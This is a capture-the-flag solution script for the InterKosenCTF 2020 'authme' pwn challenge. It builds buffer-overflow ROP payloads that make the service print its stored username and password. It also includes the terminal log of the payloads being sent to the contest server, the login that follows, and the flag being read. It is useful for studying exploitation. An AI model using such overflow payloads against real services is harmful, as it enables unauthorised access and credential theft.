InterKosenCTF2020_authme

generate_payloads.py

from pwn import *
import sys

username_addr = 0x6020C0
password_addr = 0x6020E0
call_printf_addr = 0x04009B6

pop_rdi = 0x0000000000400B03  # pop rdi ; ret

with open("username_payload", "wb") as f:
    payload = b"A" * 40
    payload += p64(pop_rdi)
    payload += p64(username_addr)
    payload += p64(call_printf_addr)
    f.write(payload[:-2])


with open("password_payload", "wb") as f:
    payload = b"A" * 40
    payload += p64(pop_rdi)
    payload += p64(password_addr)
    payload += p64(call_printf_addr)
    f.write(payload[:-2])

"""
~/VMShare/CTF/InterKosenCTF_2020/authme master*
❯ python generate_payloads.py 

~/VMShare/CTF/InterKosenCTF_2020/authme master*
❯ cat username_payload | nc pwn.kosenctf.com 9002 
              _   _     __  __ ______ 
  /\        | | | |   |  \/  |  ____|
  /  \  _   _| |_| |__ | \  / | |__   
/ /\ \| | | | __| '_ \| |\/| |  __|  
/ ____ \ |_| | |_| | | | |  | | |____ 
/_/    \_\__,_|\__|_| |_|_|  |_|______|

Username: Password: UnderUltimateUtterUranium
/home/pwn/redir.sh: line 2: 13419 Bus error               (core dumped) ./chall

~/VMShare/CTF/InterKosenCTF_2020/authme master*
❯ cat password_payload | nc pwn.kosenctf.com 9002 
              _   _     __  __ ______ 
  /\        | | | |   |  \/  |  ____|
  /  \  _   _| |_| |__ | \  / | |__   
/ /\ \| | | | __| '_ \| |\/| |  __|  
/ ____ \ |_| | |_| | | | |  | | |____ 
/_/    \_\__,_|\__|_| |_|_|  |_|______|

Username: Password: PonPonPainPanicParadigm
/home/pwn/redir.sh: line 2: 13421 Bus error               (core dumped) ./chall

~/VMShare/CTF/InterKosenCTF_2020/authme master*
❯ nc pwn.kosenctf.com 9002
                _   _     __  __ ______ 
     /\        | | | |   |  \/  |  ____|
    /  \  _   _| |_| |__ | \  / | |__   
   / /\ \| | | | __| '_ \| |\/| |  __|  
  / ____ \ |_| | |_| | | | |  | | |____ 
 /_/    \_\__,_|\__|_| |_|_|  |_|______|

Username: UnderUltimateUtterUranium
Password: PonPonPainPanicParadigm
[+] OK!
ls
chall
flag-e3d46130aca8d8c52a435cb778622e3d.txt
password
redir.sh
username
cat flag-e3d46130aca8d8c52a435cb778622e3d.txt
KosenCTF{cl0s3_ur_3y3_4nd_g0_w1th_th3_fl0w}
"""